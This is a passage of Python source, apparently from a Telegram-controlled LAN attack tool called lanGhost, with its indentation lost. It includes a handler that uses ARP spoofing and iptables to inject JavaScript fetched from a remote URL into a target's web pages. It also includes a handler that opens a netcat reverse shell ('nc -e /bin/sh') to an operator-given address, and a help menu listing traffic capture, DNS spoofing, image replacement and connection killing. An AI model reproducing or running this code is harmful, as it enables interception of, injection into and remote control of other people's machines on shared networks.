try:
if len(args) < 2:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Usage: /injectjs [TARGET-IP] [JS-FILE-URL]")
return
target_ip = args[0]
jsurl = args[1]
global latest_scan
hosts = latest_scan[:]
target_mac = False
for host in hosts:
if host[0] == target_ip:
target_mac = host[1]
if not target_mac:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Target host is not up.")
return
try:
response = urllib.request.urlopen(urllib.request.Request(jsurl, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'}))
except:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ JS-FILE-URL is not valid... Please try again.")
print("[!!!] " + str(traceback.format_exc()))
return
target = [target_ip, target_mac]
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_js (attackid TEXT, target TEXT, jsurl TEXT)")
DBconn.commit()
DBconn.close()
iptables("mitm", target=target[0])
if not attackManager("isattacked", target=target_ip):
ID = attackManager("new", attack_type="injectjs", target=target[0])
arp_thread = threading.Thread(target=arpSpoof, args=[target])
arp_thread.daemon = True
arp_thread.start()
else:
ID = attackManager("new", attack_type="injectjs", target=target[0])
jsurl64 = base64.b64encode(jsurl.encode("UTF-8"))
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("INSERT INTO lanGhost_js VALUES (?, ?, ?)", [str(ID), target[0], jsurl64])
DBconn.commit()
DBconn.close()
bot.send_message(chat_id=update.message.chat_id, text="Starting attack with ID: " + str(ID))
bot.send_message(chat_id=update.message.chat_id, text="Type /stop " + str(ID) + " to stop the attack.")
bot.send_message(chat_id=update.message.chat_id, text="🔥 Injecting JavaScript for " + target[0] + "...")
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_help(bot, update):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
bot.send_message(chat_id=update.message.chat_id, text="👻 lanGhost help:\n\n/scan - Scan LAN network\n/scanip [TARGET-IP] - Scan a specific IP address.\n/kill [TARGET-IP] - Stop the target's network connection.\n" +\
"/mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.\n/replaceimg [TARGET-IP] - Replace HTTP images requested by target.\n" +\
"/injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.\n/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.\n" +\
"/attacks - View currently running attacks.\n/stop [ATTACK-ID] - Stop a currently running attack.\n/restart - Restart lanGhost.\n" +\
"/reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.\n/help - Display this menu.\n/ping - Pong.")
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_unknown(bot, update):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Sorry, I didn't understand that command. Type /help to get a list of available commands.")
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_restart(bot, update):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
bot.send_message(chat_id=update.message.chat_id, text="✅ Restarting lanGhost...")
restarting()
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_reversesh(bot, update, args):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
if len(args) < 2:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Usage: /reversesh [TARGET-IP] [PORT]")
return
target_ip = args[0]
port = args[1]
try:
socket.inet_aton(target_ip)
except socket.error:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ TARGET-IP is not valid... Please try again.")
return
try:
port = int(port)
except:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ PORT must be a number... Please try again.")
return
bot.send_message(chat_id=update.message.chat_id, text="✅ Starting reverse shell...")
os.system("sudo screen -S lanGhost-reversesh -X stuff '^C\n' > /dev/null 2>&1")
os.system("sudo screen -S lanGhost-reversesh -m -d nc -e /bin/sh " + target_ip + " " + str(port))
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_scanip(bot, update, args):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
if args == []:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Usage: /scanip [TARGET-IP]")
return